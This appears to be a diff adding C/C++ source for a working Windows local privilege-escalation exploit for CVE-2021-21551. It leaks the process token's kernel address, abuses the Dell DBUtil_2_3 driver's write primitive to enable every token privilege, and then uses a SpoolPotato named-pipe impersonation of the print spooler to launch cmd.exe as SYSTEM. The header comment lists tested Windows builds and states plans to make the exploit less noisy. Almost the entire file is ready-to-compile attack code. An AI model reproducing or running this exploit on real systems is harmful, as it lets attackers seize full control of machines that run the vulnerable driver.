| 1 | + | /* |
| 2 | + | SpoolPrinter Privesc using SeImpersonatePrivileges was made thanks to @_ForrestOrr https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3_SpoolPotato I basically just tossed the exploit function in his code and altered it ever so barely. |
| 3 | + | NtQuerySystemInformation was taken from @Void_Sec https://voidsec.com/exploiting-system-mechanic-driver/ almost blatantly - cannot take ANY credit for how I leaked the Token location. |
| 4 | + | |
| 5 | + | All I did was merge the techniques to make a full privesc and toss in the "Fill in the blanks" from https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/ |
| 6 | + | Not much I can take credit for here! But in case you're wondering my twitter is @waldoirc |
| 7 | + | This is my first public exploit ever. |
| 8 | + | |
| 9 | + | Will make a BoF, Reflective DLL, and use the Read Primitive to clean it up and make it less noisy by masking current privs ONLY by adding SeImpersonate and add more compatible versions of Windows, and use the read primitive to work in low integrity. |
| 10 | + | |
| 11 | + | Tested on Windows Versions 1903, 1909, and 2004. Plans to make it work with more incoming. Any other Windows versions with same token offsets will also work. Need to do testing to see which versions of Windows these are. |
| 12 | + | */ |
| 13 | + | |
| 14 | + | #define _CRT_SECURE_NO_WARNINGS |
| 15 | + | #include <Windows.h> |
| 16 | + | #include <strsafe.h> |
| 17 | + | #include <sddl.h> |
| 18 | + | #include <userenv.h> |
| 19 | + | #include <wtsapi32.h> |
| 20 | + | #include <stdint.h> |
| 21 | + | #include "IWinSpool_h.h" |
| 22 | + | #include <stdio.h> |
| 23 | + | #include <iostream> |
| 24 | + | #include <cstdint> // include this header for uint64_t |
| 25 | + | |
| 26 | + | #pragma comment(lib, "Wtsapi32.lib") |
| 27 | + | #pragma comment(lib, "rpcrt4.lib") |
| 28 | + | #pragma comment(lib, "userenv.lib") |
| 29 | + | #pragma warning(disable: 28251) |
| 30 | + | |
| 31 | + | #define EXE_BUILD |
| 32 | + | #define SHELLCODE_BUILD |
| 33 | + | #define COMMAND_LINE L"cmd.exe" |
| 34 | + | #define INTERACTIVE_PROCESS TRUE |
| 35 | + | #define SYNC_EVENT_NAME L"Global\\CVE-2021-21551" |
| 36 | + | #define SystemHandleInformation 0x10 |
| 37 | + | #define SystemHandleInformationSize 1024 * 1024 * 2 |
| 38 | + | |
| 39 | + | |
| 40 | + | struct ioctl_input_params { |
| 41 | + | uint64_t padding1; |
| 42 | + | uint64_t address; |
| 43 | + | uint64_t padding2; |
| 44 | + | uint64_t value_to_write; |
| 45 | + | }; |
| 46 | + | |
| 47 | + | using pNtQuerySystemInformation = NTSTATUS(WINAPI*)( |
| 48 | + | ULONG SystemInformationClass, |
| 49 | + | PVOID SystemInformation, |
| 50 | + | ULONG SystemInformationLength, |
| 51 | + | PULONG ReturnLength); |
| 52 | + | |
| 53 | + | // define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure |
| 54 | + | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO |
| 55 | + | { |
| 56 | + | USHORT UniqueProcessId; |
| 57 | + | USHORT CreatorBackTraceIndex; |
| 58 | + | UCHAR ObjectTypeIndex; |
| 59 | + | UCHAR HandleAttributes; |
| 60 | + | USHORT HandleValue; |
| 61 | + | PVOID Object; |
| 62 | + | ULONG GrantedAccess; |
| 63 | + | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; |
| 64 | + | |
| 65 | + | // define the SYSTEM_HANDLE_INFORMATION structure |
| 66 | + | typedef struct _SYSTEM_HANDLE_INFORMATION |
| 67 | + | { |
| 68 | + | ULONG NumberOfHandles; |
| 69 | + | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; |
| 70 | + | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; |
| 71 | + | |
| 72 | + | //////// |
| 73 | + | //////// |
| 74 | + | // Debug logic |
| 75 | + | //////// |
| 76 | + | |
| 77 | + | void DebugLog(const wchar_t* Format, ...) { |
| 78 | + | va_list Args; |
| 79 | + | static wchar_t* pBuffer = NULL; |
| 80 | + | |
| 81 | + | if (pBuffer == NULL) { |
| 82 | + | pBuffer = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 10000 * 2); |
| 83 | + | } |
| 84 | + | else { |
| 85 | + | ZeroMemory(pBuffer, 10000 * 2); |
| 86 | + | } |
| 87 | + | |
| 88 | + | va_start(Args, Format); |
| 89 | + | wvsprintfW(pBuffer, Format, Args); |
| 90 | + | va_end(Args); |
| 91 | + | DWORD dwMsgAnswer = 0; |
| 92 | + | //WTSSendMessageW(WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), (wchar_t*)L"", 0, pBuffer, (wcslen(pBuffer) + 1) * 2, 0, 0, &dwMsgAnswer, TRUE); |
| 93 | + | printf("%ws\r\n", pBuffer); |
| 94 | + | } |
| 95 | + | |
| 96 | + | //////// |
| 97 | + | //////// |
| 98 | + | // Privilege/token manipulation logic |
| 99 | + | //////// |
| 100 | + | |
| 101 | + | BOOL EnablePrivilege(const wchar_t *PrivilegeName) { |
| 102 | + | BOOL bResult = FALSE; |
| 103 | + | HANDLE hToken = INVALID_HANDLE_VALUE; |
| 104 | + | uint32_t dwTokenPrivilegesSize = 0; |
| 105 | + | PTOKEN_PRIVILEGES pTokenPrivileges = NULL; |
| 106 | + | |
| 107 | + | // Obtain the primary token for the current process, query its privileges (LUIDs) and find the entry which matches the specified privilege name. Once it is found use its LUID to adjust the token privileges for the process token to enable the desired privilege |
| 108 | + | |
| 109 | + | if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { |
| 110 | + | if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, (PDWORD)&dwTokenPrivilegesSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { |
| 111 | + | pTokenPrivileges = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwTokenPrivilegesSize); |
| 112 | + | |
| 113 | + | if (GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, (PDWORD)&dwTokenPrivilegesSize)) { |
| 114 | + | for (uint32_t dwX = 0; dwX < pTokenPrivileges->PrivilegeCount && !bResult; dwX++) { |
| 115 | + | LUID_AND_ATTRIBUTES LuidAttributes = pTokenPrivileges->Privileges[dwX]; |
| 116 | + | uint32_t dwPrivilegeNameLength = 0; |
| 117 | + | |
| 118 | + | if (!LookupPrivilegeNameW(NULL, &(LuidAttributes.Luid), NULL, (PDWORD)&dwPrivilegeNameLength) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { |
| 119 | + | dwPrivilegeNameLength++; // Returned name length does not include NULL terminator |
| 120 | + | wchar_t *pCurrentPrivilegeName = (wchar_t *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwPrivilegeNameLength * sizeof(WCHAR)); |
| 121 | + | |
| 122 | + | if (LookupPrivilegeNameW(NULL, &(LuidAttributes.Luid), pCurrentPrivilegeName, (PDWORD)&dwPrivilegeNameLength)) { |
| 123 | + | if (!_wcsicmp(pCurrentPrivilegeName, PrivilegeName)) { |
| 124 | + | TOKEN_PRIVILEGES TokenPrivs = { 0 }; |
| 125 | + | TokenPrivs.PrivilegeCount = 1; |
| 126 | + | TokenPrivs.Privileges[0].Luid = LuidAttributes.Luid; |
| 127 | + | TokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |
| 128 | + | |
| 129 | + | if (AdjustTokenPrivileges(hToken, FALSE, &TokenPrivs, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { |
| 130 | + | bResult = TRUE; |
| 131 | + | } |
| 132 | + | } |
| 133 | + | |
| 134 | + | HeapFree(GetProcessHeap(), 0, pCurrentPrivilegeName); |
| 135 | + | } |
| 136 | + | } |
| 137 | + | } |
| 138 | + | } |
| 139 | + | |
| 140 | + | HeapFree(GetProcessHeap(), 0, pTokenPrivileges); |
| 141 | + | } |
| 142 | + | else { |
| 143 | + | DebugLog(L"... failed to query required token information length from primary process token."); |
| 144 | + | } |
| 145 | + | |
| 146 | + | CloseHandle(hToken); |
| 147 | + | } |
| 148 | + | else { |
| 149 | + | DebugLog(L"... failed to open handle to primary token of the current process with query/modify permissions."); |
| 150 | + | } |
| 151 | + | |
| 152 | + | return bResult; |
| 153 | + | } |
| 154 | + | |
| 155 | + | //////// |
| 156 | + | //////// |
| 157 | + | // Spool named pipe manipulation logic |
| 158 | + | //////// |
| 159 | + | |
| 160 | + | BOOL CreateFakeSpoolPipe(HANDLE *phPipe, HANDLE *phEvent, wchar_t **ppSpoolPipeUuidStr) { |
| 161 | + | UUID Uuid = { 0 }; |
| 162 | + | |
| 163 | + | // Create the named pipe that the print spooler service will connect to over RPC. Setup an event associated with it for listener purposes. |
| 164 | + | |
| 165 | + | if (UuidCreate(&Uuid) == RPC_S_OK) { |
| 166 | + | if (UuidToStringW(&Uuid, (RPC_WSTR*)ppSpoolPipeUuidStr) == RPC_S_OK && *ppSpoolPipeUuidStr != NULL) { |
| 167 | + | wchar_t FakePipeName[MAX_PATH + 1] = { 0 }; |
| 168 | + | SECURITY_DESCRIPTOR Sd = { 0 }; |
| 169 | + | SECURITY_ATTRIBUTES Sa = { 0 }; |
| 170 | + | |
| 171 | + | _snwprintf_s(FakePipeName, MAX_PATH, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", *ppSpoolPipeUuidStr); |
| 172 | + | DebugLog(L"... generated fake spool pipe name of %ws", FakePipeName); |
| 173 | + | |
| 174 | + | if (InitializeSecurityDescriptor(&Sd, SECURITY_DESCRIPTOR_REVISION)) { |
| 175 | + | if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&Sa)->lpSecurityDescriptor), NULL)) { |
| 176 | + | if ((*phPipe = CreateNamedPipeW(FakePipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &Sa)) != NULL) { // FILE_FLAG_OVERLAPPED allows for the creation of an async pipe |
| 177 | + | OVERLAPPED Overlapped = { 0 }; |
| 178 | + | |
| 179 | + | *phEvent = CreateEventW(NULL, TRUE, FALSE, NULL); |
| 180 | + | Overlapped.hEvent = *phEvent; |
| 181 | + | |
| 182 | + | if (!ConnectNamedPipe(*phPipe, &Overlapped)) { |
| 183 | + | if (GetLastError() == ERROR_IO_PENDING) { |
| 184 | + | DebugLog(L"... named pipe connection successful"); |
| 185 | + | return TRUE; |
| 186 | + | } |
| 187 | + | else { |
| 188 | + | DebugLog(L"... named pipe connection failed with invalid error code"); |
| 189 | + | } |
| 190 | + | } |
| 191 | + | else { |
| 192 | + | DebugLog(L"... named pipe connection succeeded while it should have failed with ERROR_IO_PENDING"); |
| 193 | + | } |
| 194 | + | } |
| 195 | + | } |
| 196 | + | } |
| 197 | + | } |
| 198 | + | } |
| 199 | + | |
| 200 | + | return FALSE; |
| 201 | + | } |
| 202 | + | |
| 203 | + | uint32_t TriggerPrintSpoolerRpc(wchar_t *pSpoolPipeUuidStr) { |
| 204 | + | wchar_t ComputerName[MAX_COMPUTERNAME_LENGTH + 1] = { 0 }; |
| 205 | + | DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1; |
| 206 | + | |
| 207 | + | if (GetComputerNameW(ComputerName, &dwComputerNameLen)) { |
| 208 | + | wchar_t TargetServer[MAX_PATH + 1] = { 0 }; |
| 209 | + | wchar_t CaptureServer[MAX_PATH + 1] = { 0 }; |
| 210 | + | DEVMODE_CONTAINER DevmodeContainer = { 0 }; |
| 211 | + | PRINTER_HANDLE hPrinter = NULL; |
| 212 | + | |
| 213 | + | _snwprintf_s(TargetServer, MAX_PATH, MAX_PATH, L"\\\\%ws", ComputerName); // The target server will initiate the named pipe connection |
| 214 | + | _snwprintf_s(CaptureServer, MAX_PATH, MAX_PATH, L"\\\\%ws/pipe/%ws", ComputerName, pSpoolPipeUuidStr); // The capture server will receive the named pipe connection |
| 215 | + | |
| 216 | + | RpcTryExcept { |
| 217 | + | if (RpcOpenPrinter(TargetServer, &hPrinter, NULL, &DevmodeContainer, 0) == RPC_S_OK) { |
| 218 | + | RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, CaptureServer, 0, NULL); |
| 219 | + | RpcClosePrinter(&hPrinter); |
| 220 | + | } |
| 221 | + | } |
| 222 | + | RpcExcept(EXCEPTION_EXECUTE_HANDLER); |
| 223 | + | { |
| 224 | + | // Expect RPC_S_SERVER_UNAVAILABLE |
| 225 | + | } |
| 226 | + | RpcEndExcept; |
| 227 | + | |
| 228 | + | if (hPrinter != NULL) { |
| 229 | + | RpcClosePrinter(&hPrinter); |
| 230 | + | } |
| 231 | + | } |
| 232 | + | |
| 233 | + | return 0; |
| 234 | + | } |
| 235 | + | |
| 236 | + | BOOL LaunchImpersonatedProcess(HANDLE hPipe, const wchar_t *CommandLine, uint32_t dwSessionId, BOOL bInteractive) { |
| 237 | + | BOOL bResult = FALSE; |
| 238 | + | HANDLE hSystemToken = INVALID_HANDLE_VALUE; |
| 239 | + | HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE; |
| 240 | + | |
| 241 | + | // Impersonate the specified pipe, duplicate and then customize its token to fit the appropriate session ID and desktop, and launch a process in its context. |
| 242 | + | |
| 243 | + | if (ImpersonateNamedPipeClient(hPipe)) { |
| 244 | + | DebugLog(L"... named pipe impersonation successful"); |
| 245 | + | |
| 246 | + | if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken)) { |
| 247 | + | if (DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup)) { |
| 248 | + | wchar_t CurrentDirectory[MAX_PATH + 1] = { 0 }; |
| 249 | + | uint32_t dwCreationFlags = 0; |
| 250 | + | void *pEnvironment = NULL; |
| 251 | + | PROCESS_INFORMATION ProcInfo = { 0 }; |
| 252 | + | STARTUPINFOW StartupInfo = { 0 }; |
| 253 | + | wchar_t CommandLineBuf[500] = { 0 }; |
| 254 | + | |
| 255 | + | if (dwSessionId) { |
| 256 | + | if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &dwSessionId, sizeof(uint32_t))) { |
| 257 | + | DebugLog(L"... non-zero session ID specified but token session ID modification failed"); |
| 258 | + | return FALSE; |
| 259 | + | } |
| 260 | + | } |
| 261 | + | |
| 262 | + | dwCreationFlags = CREATE_UNICODE_ENVIRONMENT; |
| 263 | + | dwCreationFlags |= bInteractive ? 0 : CREATE_NEW_CONSOLE; |
| 264 | + | |
| 265 | + | if (GetSystemDirectoryW(CurrentDirectory, MAX_PATH)) { |
| 266 | + | if (CreateEnvironmentBlock(&pEnvironment, hSystemTokenDup, FALSE)) { |
| 267 | + | StartupInfo.cb = sizeof(STARTUPINFOW); |
| 268 | + | StartupInfo.lpDesktop = (LPWSTR)L"WinSta0\\Default"; |
| 269 | + | |
| 270 | + | wcscpy_s(CommandLineBuf, 500, CommandLine); |
| 271 | + | |
| 272 | + | if (!CreateProcessAsUserW(hSystemTokenDup, NULL, CommandLineBuf, NULL, NULL, bInteractive, dwCreationFlags, pEnvironment, CurrentDirectory, &StartupInfo, &ProcInfo)) { |
| 273 | + | if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD) { |
| 274 | + | DebugLog(L"... CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW()..."); |
| 275 | + | RevertToSelf(); |
| 276 | + | |
| 277 | + | if (!bInteractive) { |
| 278 | + | wcscpy_s(CommandLineBuf, 500, CommandLine); |
| 279 | + | |
| 280 | + | if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, CommandLineBuf, dwCreationFlags, pEnvironment, CurrentDirectory, &StartupInfo, &ProcInfo)) { |
| 281 | + | DebugLog(L"... CreateProcessWithTokenW() failed. Error: %d", GetLastError()); |
| 282 | + | } |
| 283 | + | else { |
| 284 | + | DebugLog(L"... CreateProcessWithTokenW() successfully executed %ws", CommandLine); |
| 285 | + | bResult = TRUE; |
| 286 | + | } |
| 287 | + | } |
| 288 | + | else { |
| 289 | + | DebugLog(L"... CreateProcessWithTokenW() isn't compatible with non-zero session ID"); |
| 290 | + | } |
| 291 | + | } |
| 292 | + | else { |
| 293 | + | DebugLog(L"... CreateProcessAsUser() failed. Error: %d", GetLastError()); |
| 294 | + | } |
| 295 | + | } |
| 296 | + | else { |
| 297 | + | DebugLog(L"... CreateProcessAsUser() successfully executed command line %ws", CommandLine); |
| 298 | + | bResult = TRUE; |
| 299 | + | } |
| 300 | + | |
| 301 | + | if (bResult) { |
| 302 | + | if (bInteractive) { |
| 303 | + | fflush(stdout); |
| 304 | + | WaitForSingleObject(ProcInfo.hProcess, INFINITE); |
| 305 | + | } |
| 306 | + | |
| 307 | + | CloseHandle(ProcInfo.hProcess); |
| 308 | + | CloseHandle(ProcInfo.hThread); |
| 309 | + | } |
| 310 | + | |
| 311 | + | DestroyEnvironmentBlock(pEnvironment); |
| 312 | + | } |
| 313 | + | } |
| 314 | + | |
| 315 | + | CloseHandle(hSystemTokenDup); |
| 316 | + | } |
| 317 | + | |
| 318 | + | CloseHandle(hSystemToken); |
| 319 | + | } |
| 320 | + | } |
| 321 | + | else { |
| 322 | + | DebugLog(L"... named pipe impersonation failed"); |
| 323 | + | } |
| 324 | + | |
| 325 | + | return bResult; |
| 326 | + | } |
| 327 | + | |
| 328 | + | BOOL SpoolPotato() { |
| 329 | + | /* |
| 330 | + | SpoolPotato/WPAD client synchronization |
| 331 | + | |
| 332 | + | Oftentimes the WPAD client will be unsuccessful when attempting to trigger the PAC download from |
| 333 | + | the WPAD service (the service will return error 12167). This issue is sporadic, and multiple attempts |
| 334 | + | often yield a successful status from WPAD. |
| 335 | + | |
| 336 | + | To solve any potential issues which may arise in the WPAD client, the WPAD client must continue to |
| 337 | + | attempt to trigger the PAC download until it receives confirmation via an event object from within |
| 338 | + | the WPAD service itself: specifically from within a SpoolPotato shellcode executed as a result of |
| 339 | + | the CVE-2020-0674 UAF. |
| 340 | + | |
| 341 | + | The WPAD client initially: |
| 342 | + | 1. Creates a sync event object in \BaseNamedObjects and then proceeds to repeatedly make RPC calls to |
| 343 | + | WPAD in a loop. |
| 344 | + | 2. Between each iteration of the loop it spends several seconds waiting for the signal event it |
| 345 | + | previously created to be signalled by SpoolPotato. |
| 346 | + | 3. Once the event has been triggered the WPAD client ends its loop and terminates. |
| 347 | + | |
| 348 | + | Meanwhile the SpoolPotato shellcode: |
| 349 | + | 1. Signals the event object to signal completion to the WPAD client. |
| 350 | + | 2. Makes its privilege escalation operations. |
| 351 | + | */ |
| 352 | + | |
| 353 | + | HANDLE hEvent; |
| 354 | + | |
| 355 | + | DebugLog(L"... syncing event object with WPAD client..."); |
| 356 | + | |
| 357 | + | if ((hEvent = OpenEventW(EVENT_MODIFY_STATE | SYNCHRONIZE, FALSE, SYNC_EVENT_NAME)) != NULL) { |
| 358 | + | SetEvent(hEvent); |
| 359 | + | CloseHandle(hEvent); |
| 360 | + | DebugLog(L"... successfully synced WPAD client via event object"); |
| 361 | + | } |
| 362 | + | else { |
| 363 | + | DebugLog(L"... failed to open handle to event object (error %d)", GetLastError()); |
| 364 | + | } |
| 365 | + | |
| 366 | + | if(EnablePrivilege(SE_IMPERSONATE_NAME)) { |
| 367 | + | wchar_t* pSpoolPipeUuidStr = NULL; |
| 368 | + | HANDLE hSpoolPipe = INVALID_HANDLE_VALUE; |
| 369 | + | HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE; |
| 370 | + | HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE; |
| 371 | + | uint32_t dwWaitError = 0; |
| 372 | + | |
| 373 | + | DebugLog(L"... successfully obtained %ws privilege", SE_IMPERSONATE_NAME); |
| 374 | + | |
| 375 | + | if (CreateFakeSpoolPipe(&hSpoolPipe, &hSpoolPipeEvent, &pSpoolPipeUuidStr)) { |
| 376 | + | DebugLog(L"... named pipe creation and connection successful. Listening..."); |
| 377 | + | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TriggerPrintSpoolerRpc, pSpoolPipeUuidStr, 0, NULL); |
| 378 | + | dwWaitError = WaitForSingleObject(hSpoolPipeEvent, 5000); |
| 379 | + | |
| 380 | + | if (dwWaitError == WAIT_OBJECT_0) { |
| 381 | + | DebugLog(L"... recieved connection over named pipe"); |
| 382 | + | |
| 383 | + | if (LaunchImpersonatedProcess(hSpoolPipe, COMMAND_LINE, WTSGetActiveConsoleSessionId(), INTERACTIVE_PROCESS)) { |
| 384 | + | DebugLog(L"... successfully launched process while impersonating RPC client."); |
| 385 | + | } |
| 386 | + | else { |
| 387 | + | DebugLog(L"... failed to launch process while impersonating RPC client"); |
| 388 | + | } |
| 389 | + | } |
| 390 | + | else { |
| 391 | + | DebugLog(L"... named pipe listener failed with wait error %d", dwWaitError); |
| 392 | + | } |
| 393 | + | |
| 394 | + | CloseHandle(hSpoolPipe); |
| 395 | + | CloseHandle(hSpoolPipeEvent); |
| 396 | + | } |
| 397 | + | else { |
| 398 | + | DebugLog(L"... named pipe creation and connection failed"); |
| 399 | + | } |
| 400 | + | } |
| 401 | + | else { |
| 402 | + | DebugLog(L"... failed to obtain %ws privilege", SE_IMPERSONATE_NAME); |
| 403 | + | } |
| 404 | + | |
| 405 | + | return 0; |
| 406 | + | } |
| 407 | + | |
| 408 | + | |
| 409 | + | __declspec(dllexport) void exploit() { |
| 410 | + | |
| 411 | + | //Start by getting the location of our token |
| 412 | + | DWORD bytesReturned = 0; |
| 413 | + | |
| 414 | + | pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation"); |
| 415 | + | |
| 416 | + | HANDLE curPr = ::GetCurrentProcess(); |
| 417 | + | HANDLE curTo = NULL; |
| 418 | + | bool success = ::OpenProcessToken(curPr, TOKEN_ALL_ACCESS, &curTo); |
| 419 | + | |
| 420 | + | PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize); |
| 421 | + | |
| 422 | + | ULONG returnLength = 0; |
| 423 | + | NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength); |
| 424 | + | |
| 425 | + | uint64_t tokenAddress = 0; |
| 426 | + | // iterate over the system's handle table and look for the handles beloging to our process |
| 427 | + | for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) |
| 428 | + | { |
| 429 | + | SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; |
| 430 | + | // if it finds our process and the handle matches the current token handle we already opened, print it |
| 431 | + | if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)curTo) |
| 432 | + | { |
| 433 | + | tokenAddress = (uint64_t)handleInfo.Object; |
| 434 | + | std::cout << "[+] Token is at: 0x" << std::hex << tokenAddress << std::endl; |
| 435 | + | } |
| 436 | + | } |
| 437 | + | |
| 438 | + | //Open Driver Handle |
| 439 | + | HANDLE hDevice = CreateFile(L"\\\\.\\DBUtil_2_3", |
| 440 | + | GENERIC_READ | GENERIC_WRITE, |
| 441 | + | 0, |
| 442 | + | NULL, |
| 443 | + | CREATE_ALWAYS, |
| 444 | + | FILE_ATTRIBUTE_NORMAL, |
| 445 | + | NULL); |
| 446 | + | |
| 447 | + | //Overwrite the Enabled and Present values in SEP_TOKEN_PRIVILEGES |
| 448 | + | static constexpr uint64_t MASK_TO_WRITE = 0xffffffffffffffff; |
| 449 | + | uint64_t tokenPrivileges = tokenAddress + 0x41; |
| 450 | + | |
| 451 | + | std::cout << "[+] Overwriting PRESENT token mask..." << std::endl; |
| 452 | + | ioctl_input_params privilege_present_params{ 0 }; |
| 453 | + | privilege_present_params.address = tokenPrivileges; |
| 454 | + | privilege_present_params.value_to_write = MASK_TO_WRITE; |
| 455 | + | |
| 456 | + | DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_present_params, sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL); |
| 457 | + | |
| 458 | + | std::cout << "[+] Overwriting ENABLED token mask..." << std::endl; |
| 459 | + | ioctl_input_params privilege_enabled_params{ 0 }; |
| 460 | + | privilege_enabled_params.address = tokenPrivileges + 0x08; |
| 461 | + | privilege_enabled_params.value_to_write = MASK_TO_WRITE; |
| 462 | + | |
| 463 | + | DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_enabled_params, sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL); |
| 464 | + | } |
| 465 | + | |
| 466 | + | void main() { |
| 467 | + | std::cout << "[+] Setting token privs using write primitive first..." << std::endl; |
| 468 | + | exploit(); |
| 469 | + | std::cout << "[+] Running Spool Potato to get SYSTEM..." << std::endl; |
| 470 | + | SpoolPotato(); |
| 471 | + | } |
| 472 | + | |